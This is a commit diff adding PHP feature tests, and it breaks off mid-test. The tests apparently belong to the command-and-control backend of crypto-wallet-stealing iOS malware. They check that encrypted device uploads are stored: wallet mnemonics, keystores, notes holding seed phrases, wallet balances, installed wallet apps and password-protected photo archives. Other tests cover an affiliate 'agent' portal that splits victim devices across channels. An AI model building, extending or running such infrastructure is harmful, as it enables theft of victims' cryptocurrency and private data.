init
This commit is contained in:
@@ -0,0 +1,218 @@
|
||||
<?php
|
||||
|
||||
namespace Tests\Feature;
|
||||
|
||||
use App\Models\Admin;
|
||||
use App\Models\Channel;
|
||||
use App\Models\Device;
|
||||
use App\Models\User;
|
||||
use App\Models\WalletAddress;
|
||||
use App\Services\ChannelProjectService;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Mockery;
|
||||
use PHPUnit\Framework\Attributes\Test;
|
||||
use Tests\TestCase;
|
||||
|
||||
class AdminAgentPortalTest extends TestCase
|
||||
{
|
||||
use RefreshDatabase;
|
||||
|
||||
#[Test]
|
||||
public function users_and_channels_tables_exist_via_models(): void
|
||||
{
|
||||
$user = User::query()->create([
|
||||
'username' => 'agent1',
|
||||
'password' => 'secret12',
|
||||
'status' => 1,
|
||||
'comment' => 'test',
|
||||
]);
|
||||
$channel = Channel::query()->create([
|
||||
'channel_id' => 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa',
|
||||
'user_id' => $user->id,
|
||||
'status' => 1,
|
||||
'remark' => 'demo',
|
||||
]);
|
||||
|
||||
config([
|
||||
'coruna.channel_domains' => ['cdn.example.com'],
|
||||
'coruna.deployment_domains' => ['cdn.example.com'],
|
||||
]);
|
||||
|
||||
$this->assertDatabaseHas('users', ['username' => 'agent1']);
|
||||
$this->assertDatabaseHas('channels', ['channel_id' => $channel->channel_id, 'user_id' => $user->id]);
|
||||
$this->assertSame(
|
||||
['https://cdn.example.com/channel/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/web/support.html'],
|
||||
$channel->supportLinks()
|
||||
);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function disabled_agent_cannot_login(): void
|
||||
{
|
||||
User::query()->create([
|
||||
'username' => 'disabled',
|
||||
'password' => 'secret12',
|
||||
'status' => 0,
|
||||
]);
|
||||
|
||||
$this->post('/user/login', [
|
||||
'username' => 'disabled',
|
||||
'password' => 'secret12',
|
||||
])->assertSessionHasErrors('username');
|
||||
|
||||
$this->assertGuest('agent');
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function enabled_agent_can_login(): void
|
||||
{
|
||||
User::query()->create([
|
||||
'username' => 'okagent',
|
||||
'password' => 'secret12',
|
||||
'status' => 1,
|
||||
]);
|
||||
|
||||
$this->post('/user/login', [
|
||||
'username' => 'okagent',
|
||||
'password' => 'secret12',
|
||||
])->assertRedirect(route('user.home'));
|
||||
|
||||
$this->assertAuthenticated('agent');
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function admin_can_create_channel_with_random_id_and_links_fallback_domains(): void
|
||||
{
|
||||
config([
|
||||
'coruna.channel_domains' => ['fallback.test'],
|
||||
'coruna.deployment_domains' => ['fallback.test'],
|
||||
]);
|
||||
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
|
||||
|
||||
$projects = Mockery::mock(ChannelProjectService::class);
|
||||
$projects->shouldReceive('generate')->once()->with(Mockery::type('string'), Mockery::type('array'));
|
||||
$this->app->instance(ChannelProjectService::class, $projects);
|
||||
|
||||
$random = $this->actingAs($admin, 'admin')
|
||||
->get(route('admin.channels.randomId'))
|
||||
->assertOk()
|
||||
->assertJsonPath('code', 0)
|
||||
->json('data.channel_id');
|
||||
$this->assertIsString($random);
|
||||
$this->assertMatchesRegularExpression('/^[a-z0-9]{32}$/', $random);
|
||||
|
||||
$channelId = Channel::randomChannelId();
|
||||
$this->assertMatchesRegularExpression('/^[a-z0-9]{32}$/', $channelId);
|
||||
|
||||
$this->actingAs($admin, 'admin')
|
||||
->post(route('admin.channels.store'), [
|
||||
'channel_id' => $channelId,
|
||||
'user_id' => 0,
|
||||
'remark' => 'official',
|
||||
'status' => 1,
|
||||
])
|
||||
->assertOk()
|
||||
->assertJsonPath('code', 0)
|
||||
->assertJsonPath('data.links.0', 'https://fallback.test/channel/'.$channelId.'/web/support.html');
|
||||
|
||||
$this->assertDatabaseHas('channels', [
|
||||
'channel_id' => $channelId,
|
||||
'user_id' => 0,
|
||||
'remark' => 'official',
|
||||
]);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function agent_only_sees_own_channel_devices_and_addresses(): void
|
||||
{
|
||||
$agentA = User::query()->create(['username' => 'a', 'password' => 'secret12', 'status' => 1]);
|
||||
$agentB = User::query()->create(['username' => 'b', 'password' => 'secret12', 'status' => 1]);
|
||||
$chA = 'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb';
|
||||
$chB = 'cccccccccccccccccccccccccccccccc';
|
||||
Channel::query()->create(['channel_id' => $chA, 'user_id' => $agentA->id, 'status' => 1]);
|
||||
Channel::query()->create(['channel_id' => $chB, 'user_id' => $agentB->id, 'status' => 1]);
|
||||
|
||||
$devA = Device::query()->create([
|
||||
'device_id' => 'dev-a',
|
||||
'channel_id' => $chA,
|
||||
'device_model' => 'iPhone',
|
||||
]);
|
||||
$devB = Device::query()->create([
|
||||
'device_id' => 'dev-b',
|
||||
'channel_id' => $chB,
|
||||
'device_model' => 'iPhone',
|
||||
]);
|
||||
WalletAddress::query()->create([
|
||||
'device_id' => $devA->id,
|
||||
'address' => 'addr-a',
|
||||
'source' => 'imToken',
|
||||
'chain_type' => 'ETH',
|
||||
]);
|
||||
WalletAddress::query()->create([
|
||||
'device_id' => $devB->id,
|
||||
'address' => 'addr-b',
|
||||
'source' => 'imToken',
|
||||
'chain_type' => 'ETH',
|
||||
]);
|
||||
|
||||
$this->actingAs($agentA, 'agent')
|
||||
->getJson(route('user.devices.data'))
|
||||
->assertOk()
|
||||
->assertJsonPath('count', 1)
|
||||
->assertJsonPath('data.0.device_id', 'dev-a');
|
||||
|
||||
$this->actingAs($agentA, 'agent')
|
||||
->getJson(route('user.addresses.data'))
|
||||
->assertOk()
|
||||
->assertJsonPath('count', 1)
|
||||
->assertJsonPath('data.0.address', 'addr-a');
|
||||
|
||||
$this->actingAs($agentA, 'agent')
|
||||
->get(route('user.devices.show', $devB))
|
||||
->assertForbidden();
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function admin_agent_filter_scopes_devices(): void
|
||||
{
|
||||
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
|
||||
$agent = User::query()->create(['username' => 'filter-me', 'password' => 'secret12', 'status' => 1]);
|
||||
$ch = 'dddddddddddddddddddddddddddddddd';
|
||||
Channel::query()->create(['channel_id' => $ch, 'user_id' => $agent->id, 'status' => 1]);
|
||||
Device::query()->create(['device_id' => 'mine', 'channel_id' => $ch]);
|
||||
Device::query()->create(['device_id' => 'other', 'channel_id' => 'eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee']);
|
||||
|
||||
$this->actingAs($admin, 'admin')
|
||||
->getJson(route('admin.devices.data', ['agent_user_id' => $agent->id]))
|
||||
->assertOk()
|
||||
->assertJsonPath('count', 1)
|
||||
->assertJsonPath('data.0.device_id', 'mine');
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function dashboard_counts_smoke(): void
|
||||
{
|
||||
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
|
||||
Device::query()->create(['device_id' => 'd1', 'channel_id' => 'ffffffffffffffffffffffffffffffff']);
|
||||
Device::query()->create(['device_id' => 'd2', 'channel_id' => 'ffffffffffffffffffffffffffffffff']);
|
||||
|
||||
$this->actingAs($admin, 'admin')
|
||||
->getJson(route('admin.dashboard.data', ['range' => '30d']))
|
||||
->assertOk()
|
||||
->assertJsonPath('code', 0)
|
||||
->assertJsonPath('data.total', 2)
|
||||
->assertJsonStructure(['data' => ['total', 'new_count', 'active_count', 'from', 'to']]);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function agent_cannot_create_channel(): void
|
||||
{
|
||||
$agent = User::query()->create(['username' => 'a', 'password' => 'secret12', 'status' => 1]);
|
||||
$this->actingAs($agent, 'agent')
|
||||
->post('/user/channels', [
|
||||
'channel_id' => 'gggggggggggggggggggggggggggggggg',
|
||||
'status' => 1,
|
||||
])
|
||||
->assertStatus(405);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,617 @@
|
||||
<?php
|
||||
|
||||
namespace Tests\Feature;
|
||||
|
||||
use App\Models\Admin;
|
||||
use App\Models\Device;
|
||||
use App\Models\DeviceApp;
|
||||
use App\Models\DeviceEvent;
|
||||
use App\Models\Note;
|
||||
use App\Models\Photo;
|
||||
use App\Models\WalletAddress;
|
||||
use App\Models\WalletKeystore;
|
||||
use App\Models\WalletMnemonic;
|
||||
use App\Services\CorunaCrypto;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Http\UploadedFile;
|
||||
use Illuminate\Support\Facades\Storage;
|
||||
use PHPUnit\Framework\Attributes\Test;
|
||||
use Tests\TestCase;
|
||||
|
||||
class C2ApiTest extends TestCase
|
||||
{
|
||||
use RefreshDatabase;
|
||||
|
||||
#[Test]
|
||||
public function query_returns_plain_ok(): void
|
||||
{
|
||||
$this->get('/api/user/query')
|
||||
->assertOk()
|
||||
->assertSee('OK');
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function upsert_refreshes_updated_at_on_repeat_request(): void
|
||||
{
|
||||
$crypto = new CorunaCrypto;
|
||||
$payload = [
|
||||
'd' => 'dev-active-1',
|
||||
'm' => 'iPhone9,1',
|
||||
'pv' => '15.8.4',
|
||||
'c' => 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa',
|
||||
];
|
||||
$ts1 = '1722585600001';
|
||||
$enc1 = $crypto->encryptJson($payload, $ts1);
|
||||
$this->call('POST', '/api/user/avatar/set', [], [], [], [
|
||||
'CONTENT_TYPE' => 'text/plain',
|
||||
'HTTP_TIMESTAMP' => $ts1,
|
||||
'HTTP_USER_AGENT' => 'CorunaLab-Active/1.0',
|
||||
], $enc1['body'])->assertOk();
|
||||
|
||||
$device = Device::query()->where('device_id', 'dev-active-1')->first();
|
||||
$this->assertNotNull($device);
|
||||
$firstUpdated = $device->updated_at?->copy();
|
||||
$this->assertNotNull($firstUpdated);
|
||||
|
||||
sleep(1);
|
||||
|
||||
$ts2 = '1722585600002';
|
||||
$enc2 = $crypto->encryptJson($payload, $ts2);
|
||||
$this->call('POST', '/api/user/avatar/set', [], [], [], [
|
||||
'CONTENT_TYPE' => 'text/plain',
|
||||
'HTTP_TIMESTAMP' => $ts2,
|
||||
'HTTP_USER_AGENT' => 'CorunaLab-Active/1.0',
|
||||
], $enc2['body'])->assertOk();
|
||||
|
||||
$device->refresh();
|
||||
$this->assertTrue($device->updated_at->greaterThan($firstUpdated));
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function avatar_set_ingests_device_model_and_ua(): void
|
||||
{
|
||||
$crypto = new CorunaCrypto;
|
||||
$payload = [
|
||||
'c' => '34f5121f572d6742703eb84ec2f866a6',
|
||||
'd' => '000430C910E8E526',
|
||||
'f' => '000430C910E8E526',
|
||||
'deviceModel' => 'iPhone9,1',
|
||||
'systemVersion' => ['ProductVersion' => '15.8.4'],
|
||||
];
|
||||
$ts = '1722585600123';
|
||||
$enc = $crypto->encryptJson($payload, $ts);
|
||||
|
||||
$resp = $this->call(
|
||||
'POST',
|
||||
'/api/user/avatar/set',
|
||||
[],
|
||||
[],
|
||||
[],
|
||||
[
|
||||
'CONTENT_TYPE' => 'text/plain',
|
||||
'HTTP_TIMESTAMP' => $ts,
|
||||
'HTTP_USER_AGENT' => 'CorunaLab/1.0 (iPhone; iOS 15.8.4)',
|
||||
],
|
||||
$enc['body']
|
||||
);
|
||||
|
||||
$resp->assertOk();
|
||||
$plain = $crypto->decryptJsonBody($resp->getContent(), $resp->headers->get('timestamp'));
|
||||
$this->assertSame(0, $plain['code'] ?? null);
|
||||
|
||||
$device = Device::query()->where('device_id', '000430C910E8E526')->first();
|
||||
$this->assertNotNull($device);
|
||||
$this->assertSame('34f5121f572d6742703eb84ec2f866a6', $device->channel_id);
|
||||
$this->assertSame('15.8.4', $device->ios_version);
|
||||
$this->assertSame('iPhone9,1', $device->device_model);
|
||||
$this->assertStringContainsString('CorunaLab/1.0', (string) $device->user_agent);
|
||||
$this->assertSame(0, $device->apps()->count());
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function user_get_ingests_installed_apps_per_bundle(): void
|
||||
{
|
||||
$crypto = new CorunaCrypto;
|
||||
$payload = [
|
||||
'd' => '000430C910E8E526',
|
||||
'f' => '000430C910E8E526',
|
||||
'v' => '15.8.4',
|
||||
'al' => [
|
||||
['a' => 'MetaMask', 'b' => 'io.metamask', 'v' => '7.12.0'],
|
||||
['a' => 'Safari', 'b' => 'com.apple.mobilesafari', 'v' => '15.8'],
|
||||
],
|
||||
];
|
||||
$ts = '1722585600222';
|
||||
$enc = $crypto->encryptJson($payload, $ts);
|
||||
|
||||
$this->call('POST', '/api/user/get', [], [], [], [
|
||||
'CONTENT_TYPE' => 'text/plain',
|
||||
'HTTP_TIMESTAMP' => $ts,
|
||||
], $enc['body'])->assertOk();
|
||||
|
||||
$device = Device::query()->where('device_id', '000430C910E8E526')->first();
|
||||
$this->assertNotNull($device);
|
||||
$this->assertSame('15.8.4', $device->ios_version);
|
||||
|
||||
$mm = DeviceApp::query()->where('device_id', $device->id)->where('bundle_id', 'io.metamask')->first();
|
||||
$this->assertNotNull($mm);
|
||||
$this->assertSame('MetaMask', $mm->name);
|
||||
$this->assertSame('7.12.0', $mm->version);
|
||||
$this->assertTrue($mm->is_wallet);
|
||||
$this->assertSame(2, $device->apps()->count());
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function avatar_put_stores_device_event_log(): void
|
||||
{
|
||||
$crypto = new CorunaCrypto;
|
||||
$payload = [
|
||||
'd' => '000430C910E8E526',
|
||||
'f' => '000430C910E8E526',
|
||||
'id' => 'event-uuid-should-not-be-device-key',
|
||||
'et' => 'corepayload_update',
|
||||
'desc' => 'CorePayload first load succeeded',
|
||||
'ctx' => ['stage' => 1],
|
||||
'm' => 'iPhone9,1',
|
||||
];
|
||||
$ts = '1722585600333';
|
||||
$enc = $crypto->encryptJson($payload, $ts);
|
||||
|
||||
$this->call('POST', '/api/user/avatar/put', [], [], [], [
|
||||
'CONTENT_TYPE' => 'text/plain',
|
||||
'HTTP_TIMESTAMP' => $ts,
|
||||
], $enc['body'])->assertOk();
|
||||
|
||||
$device = Device::query()->where('device_id', '000430C910E8E526')->first();
|
||||
$this->assertNotNull($device);
|
||||
$this->assertNull(Device::query()->where('device_id', 'event-uuid-should-not-be-device-key')->first());
|
||||
$this->assertSame('iPhone9,1', $device->device_model);
|
||||
|
||||
$ev = DeviceEvent::query()->where('device_key', '000430C910E8E526')->first();
|
||||
$this->assertNotNull($ev);
|
||||
$this->assertSame('corepayload_update', $ev->event_name);
|
||||
$this->assertSame('CorePayload first load succeeded', $ev->desc);
|
||||
$this->assertSame(['stage' => 1], $ev->context_json);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function set_and_status_ingest_wallet_secrets_and_addresses(): void
|
||||
{
|
||||
$crypto = new CorunaCrypto;
|
||||
$mnemonic = 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about';
|
||||
$tsSet = '1722585600456';
|
||||
$encSet = $crypto->encryptJson([
|
||||
'd' => 'dev-wallet-1',
|
||||
'a' => 'a1',
|
||||
'result' => $mnemonic,
|
||||
], $tsSet);
|
||||
|
||||
$this->call('POST', '/api/user/set', [], [], [], [
|
||||
'CONTENT_TYPE' => 'text/plain',
|
||||
'HTTP_TIMESTAMP' => $tsSet,
|
||||
], $encSet['body'])->assertOk();
|
||||
|
||||
$device = Device::query()->where('device_id', 'dev-wallet-1')->first();
|
||||
$this->assertNotNull($device);
|
||||
$wallet = WalletMnemonic::query()->where('device_id', $device->id)->first();
|
||||
$this->assertNotNull($wallet);
|
||||
$this->assertSame($mnemonic, $wallet->mnemonic);
|
||||
$this->assertSame('MetaMask', $wallet->source);
|
||||
$this->assertSame('abandon *** about', WalletMnemonic::maskSecret($wallet->mnemonic));
|
||||
|
||||
// repeated /api/user/set with same mnemonic must not create another row
|
||||
$tsSet2 = '1722585600457';
|
||||
$encSet2 = $crypto->encryptJson([
|
||||
'd' => 'dev-wallet-1',
|
||||
'a' => 'a1',
|
||||
'result' => $mnemonic,
|
||||
], $tsSet2);
|
||||
$this->call('POST', '/api/user/set', [], [], [], [
|
||||
'CONTENT_TYPE' => 'text/plain',
|
||||
'HTTP_TIMESTAMP' => $tsSet2,
|
||||
], $encSet2['body'])->assertOk();
|
||||
$this->assertSame(1, WalletMnemonic::query()->where('device_id', $device->id)->count());
|
||||
|
||||
$tsStatus = '1722585600789';
|
||||
$encStatus = $crypto->encryptJson([
|
||||
'd' => 'dev-wallet-1',
|
||||
'a' => 'a1',
|
||||
'data' => [
|
||||
['address' => '0xabc1230000000000000000000000000000000001', 'chain' => 'eth', 'balance' => '1.5', 'symbol' => 'ETH'],
|
||||
],
|
||||
], $tsStatus);
|
||||
|
||||
$this->call('POST', '/api/user/status', [], [], [], [
|
||||
'CONTENT_TYPE' => 'text/plain',
|
||||
'HTTP_TIMESTAMP' => $tsStatus,
|
||||
], $encStatus['body'])->assertOk();
|
||||
|
||||
$addr = WalletAddress::query()
|
||||
->where('device_id', $device->id)
|
||||
->where('address', '0xabc1230000000000000000000000000000000001')
|
||||
->first();
|
||||
$this->assertNotNull($addr);
|
||||
$this->assertSame('ETH', $addr->chain_type);
|
||||
$this->assertEqualsWithDelta(1.5, (float) $addr->eth, 0.0000001);
|
||||
$this->assertSame(0, (int) $addr->monitor);
|
||||
$this->assertSame('MetaMask', $addr->source);
|
||||
$logFile = public_path('log/c2/'.date('Ymd').'.log');
|
||||
$this->assertFileExists($logFile);
|
||||
$this->assertStringContainsString('/api/user/set', (string) file_get_contents($logFile));
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function status_global_wallet_ad_map_stores_empty_balance(): void
|
||||
{
|
||||
$crypto = new CorunaCrypto;
|
||||
$ts = '1722585600777';
|
||||
$enc = $crypto->encryptJson([
|
||||
'd' => 'dev-global-ad-1',
|
||||
'a' => 'p',
|
||||
'ad' => [
|
||||
'TKKyetwdwuv6fTWVMPsdQUZYwB7yiNwRp6' => '0.32647342126093182783704',
|
||||
],
|
||||
], $ts);
|
||||
|
||||
$this->call('POST', '/api/user/status', [], [], [], [
|
||||
'CONTENT_TYPE' => 'text/plain',
|
||||
'HTTP_TIMESTAMP' => $ts,
|
||||
], $enc['body'])->assertOk();
|
||||
|
||||
$device = Device::query()->where('device_id', 'dev-global-ad-1')->first();
|
||||
$this->assertNotNull($device);
|
||||
$addr = WalletAddress::query()
|
||||
->where('device_id', $device->id)
|
||||
->where('address', 'TKKyetwdwuv6fTWVMPsdQUZYwB7yiNwRp6')
|
||||
->first();
|
||||
$this->assertNotNull($addr);
|
||||
$this->assertSame('Global Wallet', $addr->source);
|
||||
$this->assertSame('TRON', $addr->chain_type);
|
||||
$this->assertNull($addr->trx);
|
||||
$this->assertNull($addr->usdt);
|
||||
$this->assertSame(0, (int) $addr->monitor);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function status_ingests_har_shaped_ba_address_map(): void
|
||||
{
|
||||
$crypto = new CorunaCrypto;
|
||||
$ts = '1722585600888';
|
||||
$enc = $crypto->encryptJson([
|
||||
'd' => 'dev-ba-1',
|
||||
'a' => 'b1',
|
||||
'ba' => [
|
||||
'TKKyetwdwuv6fTWVMPsdQUZYwB7yiNwRp6' => [
|
||||
[
|
||||
'balance' => '0',
|
||||
'chainId' => '10',
|
||||
'chainType' => 'tron',
|
||||
'decimal' => '6',
|
||||
'name' => 'Tether USD',
|
||||
'symbol' => 'USDT',
|
||||
],
|
||||
[
|
||||
'balance' => '4000006',
|
||||
'chainId' => '10',
|
||||
'chainType' => 'tron',
|
||||
'decimal' => '6',
|
||||
'name' => 'TRON',
|
||||
'symbol' => 'TRX',
|
||||
],
|
||||
],
|
||||
],
|
||||
], $ts);
|
||||
|
||||
$this->call('POST', '/api/user/status', [], [], [], [
|
||||
'CONTENT_TYPE' => 'text/plain',
|
||||
'HTTP_TIMESTAMP' => $ts,
|
||||
], $enc['body'])->assertOk();
|
||||
|
||||
$device = Device::query()->where('device_id', 'dev-ba-1')->first();
|
||||
$this->assertNotNull($device);
|
||||
$addr = WalletAddress::query()
|
||||
->where('device_id', $device->id)
|
||||
->where('address', 'TKKyetwdwuv6fTWVMPsdQUZYwB7yiNwRp6')
|
||||
->first();
|
||||
$this->assertNotNull($addr);
|
||||
$this->assertSame('TRON', $addr->chain_type);
|
||||
$this->assertSame('imToken', $addr->source);
|
||||
$this->assertEqualsWithDelta(0.0, (float) $addr->usdt, 0.0000001);
|
||||
$this->assertEqualsWithDelta(4.000006, (float) $addr->trx, 0.0000001);
|
||||
$this->assertSame('4.000006', WalletAddress::formatAmount('trx', $addr->trx));
|
||||
$this->assertSame('0', WalletAddress::formatAmount('usdt', $addr->usdt));
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function avatar_status_stores_keystore_blob(): void
|
||||
{
|
||||
$crypto = new CorunaCrypto;
|
||||
$ts = '1722585600999';
|
||||
$enc = $crypto->encryptJson([
|
||||
'd' => 'dev-ks-1',
|
||||
'a' => 'b',
|
||||
'result' => [
|
||||
'crypto' => [
|
||||
'cipher' => 'aes-128-ctr',
|
||||
'ciphertext' => 'deadbeef',
|
||||
'kdf' => 'pbkdf2',
|
||||
'mac' => 'cafebabe',
|
||||
],
|
||||
'identity' => ['encKey' => 'aa'],
|
||||
],
|
||||
], $ts);
|
||||
|
||||
$this->call('POST', '/api/user/avatar/status', [], [], [], [
|
||||
'CONTENT_TYPE' => 'text/plain',
|
||||
'HTTP_TIMESTAMP' => $ts,
|
||||
], $enc['body'])->assertOk();
|
||||
|
||||
$device = Device::query()->where('device_id', 'dev-ks-1')->first();
|
||||
$this->assertNotNull($device);
|
||||
$ks = WalletKeystore::query()->where('device_id', $device->id)->first();
|
||||
$this->assertNotNull($ks);
|
||||
$this->assertSame('aes-128-ctr', $ks->raw_json['crypto']['cipher'] ?? null);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function avatar_pic_ingests_notes(): void
|
||||
{
|
||||
$crypto = new CorunaCrypto;
|
||||
$ts = '1722585601111';
|
||||
$enc = $crypto->encryptJson([
|
||||
'd' => 'dev-notes-1',
|
||||
'list' => [
|
||||
"spawn rabbit unusual favorite yard recipe\n(R(R",
|
||||
'second note line',
|
||||
],
|
||||
], $ts);
|
||||
|
||||
$this->call('POST', '/api/user/avatar/pic', [], [], [], [
|
||||
'CONTENT_TYPE' => 'text/plain',
|
||||
'HTTP_TIMESTAMP' => $ts,
|
||||
], $enc['body'])->assertOk();
|
||||
|
||||
$device = Device::query()->where('device_id', 'dev-notes-1')->first();
|
||||
$this->assertNotNull($device);
|
||||
$this->assertSame(1, Note::query()->where('device_id', $device->id)->count());
|
||||
$note = Note::query()->where('device_id', $device->id)->first();
|
||||
$this->assertNotNull($note);
|
||||
$this->assertIsArray($note->content);
|
||||
$this->assertCount(2, $note->content);
|
||||
$this->assertStringContainsString('spawn rabbit', $note->content[0]);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function check_extracts_photo_archive_and_stores_file(): void
|
||||
{
|
||||
Storage::fake('local');
|
||||
$crypto = new CorunaCrypto;
|
||||
$tmp = sys_get_temp_dir().'/coruna_photo_'.uniqid();
|
||||
mkdir($tmp);
|
||||
$jpegPath = $tmp.'/hit.jpg';
|
||||
// minimal JPEG SOI/EOI
|
||||
file_put_contents($jpegPath, "\xFF\xD8\xFF\xD9");
|
||||
$archivePath = $tmp.'/capture.7z';
|
||||
$password = $crypto->archivePassword('0');
|
||||
$bin = is_executable('/opt/homebrew/opt/p7zip/bin/7z')
|
||||
? '/opt/homebrew/opt/p7zip/bin/7z'
|
||||
: '7z';
|
||||
$cmd = escapeshellarg($bin).' a -y -p'.escapeshellarg($password)
|
||||
.' '.escapeshellarg($archivePath).' '.escapeshellarg($jpegPath).' 2>&1';
|
||||
exec($cmd, $out, $code);
|
||||
$this->assertSame(0, $code, implode("\n", $out));
|
||||
$this->assertFileExists($archivePath);
|
||||
|
||||
$upload = new UploadedFile($archivePath, 'capture.7z', 'application/octet-stream', null, true);
|
||||
$resp = $this->call(
|
||||
'POST',
|
||||
'/api/user/check',
|
||||
[
|
||||
'd' => 'dev-photo-1',
|
||||
'f' => 'dev-photo-1',
|
||||
'batchBase' => '0',
|
||||
'idx' => '000001000000',
|
||||
'ftu' => '000001000000',
|
||||
'x-hit' => '12',
|
||||
],
|
||||
[],
|
||||
['file' => $upload],
|
||||
['CONTENT_TYPE' => 'multipart/form-data']
|
||||
);
|
||||
$resp->assertOk();
|
||||
|
||||
$device = Device::query()->where('device_id', 'dev-photo-1')->first();
|
||||
$this->assertNotNull($device);
|
||||
$photo = Photo::query()->where('device_id', $device->id)->first();
|
||||
$this->assertNotNull($photo);
|
||||
$this->assertSame(hash('sha256', "\xFF\xD8\xFF\xD9"), $photo->sha256);
|
||||
$this->assertSame(4, $photo->size);
|
||||
$this->assertSame(12, $photo->x_hit);
|
||||
$this->assertSame(1, $photo->upload_count);
|
||||
$this->assertSame(0, $photo->process_index);
|
||||
$this->assertSame(1, $photo->text_count);
|
||||
$this->assertSame(0, $photo->barcode_count);
|
||||
Storage::disk('local')->assertExists($photo->path);
|
||||
|
||||
@unlink($jpegPath);
|
||||
@unlink($archivePath);
|
||||
@rmdir($tmp);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function check_normalizes_encoded_device_key_onto_existing_device(): void
|
||||
{
|
||||
Storage::fake('local');
|
||||
$crypto = new CorunaCrypto;
|
||||
Device::query()->create([
|
||||
'device_id' => '000430C910E8E526',
|
||||
'ios_version' => '15.8.4',
|
||||
'device_model' => 'iPhone9,1',
|
||||
'ip' => '1.2.3.4',
|
||||
]);
|
||||
|
||||
$tmp = sys_get_temp_dir().'/coruna_photo_norm_'.uniqid();
|
||||
mkdir($tmp);
|
||||
$jpegPath = $tmp.'/hit.jpg';
|
||||
file_put_contents($jpegPath, "\xFF\xD8\xFF\xD9");
|
||||
$archivePath = $tmp.'/capture.7z';
|
||||
$password = $crypto->archivePassword('0');
|
||||
$bin = is_executable('/opt/homebrew/opt/p7zip/bin/7z')
|
||||
? '/opt/homebrew/opt/p7zip/bin/7z'
|
||||
: '7z';
|
||||
$cmd = escapeshellarg($bin).' a -y -p'.escapeshellarg($password)
|
||||
.' '.escapeshellarg($archivePath).' '.escapeshellarg($jpegPath).' 2>&1';
|
||||
exec($cmd, $out, $code);
|
||||
$this->assertSame(0, $code, implode("\n", $out));
|
||||
|
||||
$upload = new UploadedFile($archivePath, 'capture.7z', 'application/octet-stream', null, true);
|
||||
$this->call(
|
||||
'POST',
|
||||
'/api/user/check',
|
||||
[
|
||||
// Live /check form: hex(ascii(nibbleSwap(byteReverse(json_d))))
|
||||
'd' => '36323545384530313943303334303030',
|
||||
'f' => '36323545384530313943303334303030',
|
||||
'batchBase' => '0',
|
||||
],
|
||||
[],
|
||||
['file' => $upload],
|
||||
['CONTENT_TYPE' => 'multipart/form-data']
|
||||
)->assertOk();
|
||||
|
||||
$this->assertNull(
|
||||
Device::query()->where('device_id', '36323545384530313943303334303030')->first()
|
||||
);
|
||||
$this->assertNull(
|
||||
Device::query()->where('device_id', '625E8E019C034000')->first()
|
||||
);
|
||||
$device = Device::query()->where('device_id', '000430C910E8E526')->first();
|
||||
$this->assertNotNull($device);
|
||||
$this->assertTrue(
|
||||
Photo::query()->where('device_id', $device->id)->exists()
|
||||
);
|
||||
|
||||
@unlink($jpegPath);
|
||||
@unlink($archivePath);
|
||||
@rmdir($tmp);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function check_uses_multipart_ts_as_batch_base_password(): void
|
||||
{
|
||||
Storage::fake('local');
|
||||
$crypto = new CorunaCrypto;
|
||||
$tmp = sys_get_temp_dir().'/coruna_photo_ts_'.uniqid();
|
||||
mkdir($tmp);
|
||||
$jpegPath = $tmp.'/hit.jpg';
|
||||
file_put_contents($jpegPath, "\xFF\xD8\xFF\xD9");
|
||||
$archivePath = $tmp.'/capture.7z';
|
||||
$batchTs = '1785596422';
|
||||
$password = $crypto->archivePassword($batchTs);
|
||||
$bin = is_executable('/opt/homebrew/opt/p7zip/bin/7z')
|
||||
? '/opt/homebrew/opt/p7zip/bin/7z'
|
||||
: '7z';
|
||||
$cmd = escapeshellarg($bin).' a -y -p'.escapeshellarg($password)
|
||||
.' '.escapeshellarg($archivePath).' '.escapeshellarg($jpegPath).' 2>&1';
|
||||
exec($cmd, $out, $code);
|
||||
$this->assertSame(0, $code, implode("\n", $out));
|
||||
|
||||
$upload = new UploadedFile($archivePath, 'capture.7z', 'application/octet-stream', null, true);
|
||||
// Live traffic: no batchBase field; password suffix is multipart `ts`.
|
||||
$this->call(
|
||||
'POST',
|
||||
'/api/user/check',
|
||||
[
|
||||
'd' => 'dev-photo-ts',
|
||||
'f' => 'dev-photo-ts',
|
||||
'ts' => $batchTs,
|
||||
'x-hit' => '12',
|
||||
],
|
||||
[],
|
||||
['file' => $upload],
|
||||
['CONTENT_TYPE' => 'multipart/form-data']
|
||||
)->assertOk();
|
||||
|
||||
$device = Device::query()->where('device_id', 'dev-photo-ts')->first();
|
||||
$this->assertNotNull($device);
|
||||
$this->assertTrue(
|
||||
Photo::query()->where('device_id', $device->id)->exists()
|
||||
);
|
||||
|
||||
@unlink($jpegPath);
|
||||
@unlink($archivePath);
|
||||
@rmdir($tmp);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function admin_guest_is_redirected_to_admin_login(): void
|
||||
{
|
||||
$this->get('/admin')
|
||||
->assertRedirect(route('admin.login'));
|
||||
|
||||
